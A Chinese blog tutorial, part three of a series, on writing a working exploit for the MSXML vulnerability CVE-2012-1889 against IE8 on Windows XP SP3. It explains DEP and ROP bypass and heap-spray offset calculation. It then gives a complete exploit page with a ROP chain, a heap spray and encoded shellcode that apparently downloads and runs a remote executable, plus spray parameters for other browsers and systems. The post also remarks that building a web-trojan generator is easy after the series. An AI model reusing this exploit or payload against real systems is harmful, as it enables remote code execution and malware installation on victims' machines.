接前面两篇文章《实战HeapSpray之CVE2012-1889 Exploit编写(一)》,《实战HeapSpray之CVE2012-1889 Exploit编写(二)》,本文讲介绍IE8下HeapSpray注意点以及XP下IE8 Exploit开发过程。
ROP技术简介
溢出攻击的根源在于现代计算机对数据和代码没有明确的区分这一先天缺陷,而DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。DEP的基本原理是将数据所在的内存页标识为不可执行,当程序溢出成功转入ShellCode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
在Windows下DEP分为软件DEP和硬件DEP,这里我们需要绕过硬件DEP(软件DEP主要指SafeSEH机制,这里不做介绍)。微软从Windows XP SP2 和Windows Server 2003 SP1 开始引入硬件DEP 的支持,硬件DEP利用了支持DEP的CPU的NX(AMD,No-Execute Page-Protection)或XD(Intel,Execute Disable Bit)位,并将特定部分的内存(只能包含数据,比如说默认的堆、栈、内存池等)标记为不可执行。
ROP(Return Oriented Programming,返回导向编程)是绕过DEP保护的方法之一。ROP的思路是利用程序中已有的代码指令片段来调用一些Windows API来关闭或绕过DEP,可能的API有:
1. VirtualAlloc
2. HeapCreate + HeapAlloc + 复制内存
3. SetProcessDEPPolicy
4. NtSetInformationProcess
5. VirtualProtect
6. WriteProcessMemory
我们关注的是VirtualProtect函数,我们可以调用这个函数来修改内存块的属性为可执行,就可以绕过DEP执行ShellCode了。我们需要找到一系列以retn指令结尾的指令,并把目标指令的地址写到栈中,这样每执行完一条指令之后就会接着执行下一条指令,最终达到绕过DEP的目的。ROP示意图如图所示:
IE8 下HeapSpray实战
如果仍然使用前面IE6的漏洞利用代码,IE8进程会提示非法内存访问错误,而不是预期的DEP提示窗口,在调试器下跟踪,发现0x0C0C0C0C处并没有我们预期的数据,如图所示:
从图中可以看到,内存数据分布仅达到0x042B0023,远远没有达到0x0C0C0C0C的范围,为了解决这一问题,只需要更改给slide数组赋值这一行数据即可:
var slide = new Array(); for (var i = 0; i < 200; i++){ slide[i] = fsc.substring(0, fsc.length); }
其中fsc是我们要填充的数据。如果再次对IE8进行测试,就可以看到数据执行保护的提示了,如图所示:
为了绕过DEP,我们需要前面所讨论的ROP技术,另外,必须保证跳转到堆上的时候正好位于ROP链的第一条指令,这就涉及到精准的堆喷射问题。采用如下的技术,我们可以保证0x0C0C0C0C处即为ROP链的第一个字节。
以Windows XP SP3为例,使用Windbg调试打开PoC页面的IE进程,当完成堆的喷射之后,查看0x0C0C0C0C所在的堆块的属性,如下面的文字所示:
0:008> !heap -p -a 0c0c0c0c address 0c0c0c0c found in _HEAP @ 150000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0c070018 fff8 0000 [0b] 0c070020 7ffc0 - (busy VirtualAlloc) ? <Unloaded_ud.drv>+7ffb9
可以看出,0x0C0C0C0C所在堆块的UserPtr为0x0C070020,可以计算:
0x0C0C0C0C - 0x0C070020 = 0x50BEC 0x50BEC / 2 = 0x285F6 0x285F6 % 0x1000 = 0x5F6
其中第一个表达式求出0x0C0C0C0C到UserPtr的距离,因为JavaScript中字符串是Unicode形式的,所以在第二个表达式中我们进行了除以2的操作,又因为堆块的对齐粒度是0×1000,所以将结果对0×1000进行取余。注意每一次查看0x0C0C0C0C所在堆块的UserPtr会不尽相同,但是在特定的环境下计算出来的最终结果基本是一致的,如本实验在XP SP3的IE8下为0x5F6(某些IE8环境下得出的结果可能是0x5F4),于是堆中每一块0×1000大小的数据看起来如图所示:
现在我们还需要一个可靠的ROP Chain,使用Immunity Debugger配合Mona插件可以轻松搞定,只需执行如下命令:
!mona rop -m msvcrt.dll
我们选择VirtualProtect函数的JavaScript代码。同时,因为我们没办法控制栈上的数据分布,但是可以控制堆上的数据分布,于是需要一个叫做stackpivot的小东西,这里选择如下的指令:
00401000 94 XCHG EAX,ESP 00401001 C3 RETN 对应的字节为\x94\xC3, 可以使用如下的mona命令查找: !mona find -s "\x94\xC3" -m msvcrt.dll
有了这两条指令,我们可以把ESP指向堆上面,如果EAX也指向堆上面的话。上面的指令全部选取自msmvrt.dll模块,至少实践经验表明在XP SP3下是稳定的。
至此ROP需要的东西基本齐全了,下面回到EIP的控制上面来。在IE6下,通过汇编指令call dword ptr [ecx+18h]来转移EIP到堆上,对于IE8,我们无法再使用这条指令来转移EIP到堆上,因为执行这条指令的时候EAX和[EAX]的值都是0x0C0C0C0C,如果通过stackpivot设置ESP为0x0C0C0C0C,接着retn,EIP也将被设置为0x0C0C0C0C,而这个时候这个地方的代码是不能够被执行的(因为有DEP保护)。
现在需要变换利用思路了,如图所示:
我们将在栈上填充大量的0x0c0c0c08(不再是0x0c0c0c0c),这样执行mov eax, dword ptr [ebp-14h]之后,eax被0x0c0c0c08填充;堆上面仍然用大量0C作为填充物,于是执行mov ecx, dword ptr [eax]时,ecx被设置为0x0c0c0c0c;注意0x0c0c0c0c + 0×18 = 0x0c0c0c24,我们将在这个位置放置一个retn指令的地址,这样在执行call dword ptr [ecx+18h]的时候,会跳转去执行retn,同时又会返回来执行call的下一条指令;而[esi]寄存器的值也是0x0c0c0c0c,那么最终eax会被设置为0x0c0c0c0c,同时call dword ptr [eax+8]会跳转到0x0C0C0C14处执行代码,我们将在这个位置放置stackpivot的地址,最终的ROP链如图所示:
最终的利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | <html> <head> <title>CVE 2012-1889 PoC</title> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object> <script> // [ Shellcode ] var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065"; // [ ROP Chain ] // 0x0C0C0C24 -> # retn // 0x0C0C0C14 -> # xchg eax, esp # retn // Start from 0x0c0c0c0c var rop_chain = "\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "\uBE4B\u77BE" + // 0x77BEBE4B # pop ebp # retn [msvcrt.dll] "\u5ED5\u77BE" + // 0x77BE5ED5 # xchg eax, esp # retn [msvcrt.dll] "\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] // The real rop chain "\ube4b\u77be" + // 0x77bebe4b : ,# POP EBP # RETN [msvcrt.dll] "\ube4b\u77be" + // 0x77bebe4b : ,# skip 4 bytes [msvcrt.dll] "\u6e9d\u77c1" + // 0x77c16e9d : ,# POP EBX # RETN [msvcrt.dll] "\uE000\u0000" + // 0x0000E000 : ,# 0x0000E000-> ebx [dwSize] "\ucdec\u77c1" + // 0x77c1cdec : ,# POP EDX # RETN [msvcrt.dll] "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx "\u79da\u77bf" + // 0x77bf79da : ,# POP ECX # RETN [msvcrt.dll] "\uf67e\u77c2" + // 0x77c2f67e : ,# &Writable location [msvcrt.dll] "\uaf6b\u77c0" + // 0x77c0af6b : ,# POP EDI # RETN [msvcrt.dll] "\u9f92\u77c0" + // 0x77c09f92 : ,# RETN (ROP NOP) [msvcrt.dll] "\u6f5a\u77c1" + // 0x77c16f5a : ,# POP ESI # RETN [msvcrt.dll] "\uaacc\u77bf" + // 0x77bfaacc : ,# JMP [EAX] [msvcrt.dll] "\u289b\u77c2" + // 0x77c2289b : ,# POP EAX # RETN [msvcrt.dll] "\u1131\u77be" + // 0x77BE1131 : ,# ptr to &VirtualProtect() [IAT msvcrt.dll] 0x20-0xEF=0x31 "\u67f0\u77c2" + // 0x77c267f0 : ,# PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] "\u1025\u77c2"; // 0x77c21025 : ,# ptr to 'push esp # ret ' [msvcrt.dll] // [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes var fill = "\u0c0c\u0c0c"; while (fill.length < 0x1000){ fill += fill; } // [ padding offset ] padding = fill.substring(0, 0x5F6); // [ fill each chunk with 0x1000 bytes ] evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length); // [ repeat the block to 512KB ] while (evilcode.length < 0x40000){ evilcode += evilcode; } // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ] var block = evilcode.substring(2, 0x40000 - 0x21); // [ Allocate 200 MB ] var slide = new Array(); for (var i = 0; i < 400; i++){ slide[i] = block.substring(0, block.length); } // [ Vulnerability Trigger ] var obj = document.getElementById('poc').object; var src = unescape("%u0c08%u0c0c"); // fill the stack with 0x0c0c0c08 while (src.length < 0x1002) src += src; src = "\\\\xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(0); </script> </body> </html> |
有几个需要注意的地方是:
1. mona找到的ROP代码中指向VirtualProtect函数地址的问题,注意对AL减去0xEF;
2. block的生成substring的参数问题,XP SP3下固定这种模式,不同的系统参数不同;
3. 注意pushad压栈顺序是EAX, ECX, EDX, EBX, 原始ESP, EBP, ESI, EDI,明白pushad将有助于对上述ROP代码的理解。
对于第2点,已知的参数形式如下:
XP SP3 – IE7 block = shellcode.substring(2,0x10000-0×21); XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21); Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2); Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2); Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2); Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2); XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2);
ROP在堆块中的偏移值:
IE7 0x5FA IE8 0x5F4/0x5F6 IE9 0x5FC/0x5FE Firefox9 0x606
可能不同语言版本会存在偏差。
Windows Vista / 7下ROP的机制是一样的,只是使用的模块不再是msvcrt.dll,可以使用msvcr71.dll,具体实现机制不再赘述。
网马生成器编写
略过,其实看完这三篇文章,这个就很简单了。
参考文献
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1889
http://technet.microsoft.com/zh-cn/security/bulletin/ms12-043
http://technet.microsoft.com/zh-cn/security/advisory/2719615
https://www.htbridge.com/publication/CVE-2012-1889.pdf
http://blog.csdn.net/magictong/article/details/7391397
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
http://www.greyhathacker.net/?p=549
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://riusksk.blogbus.com/logs/223258613.html
《0DAY安全*软件漏洞分析技术》第二版
本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 实战HeapSpray之CVE2012-1889 Exploit编写(三)
作者:代码疯子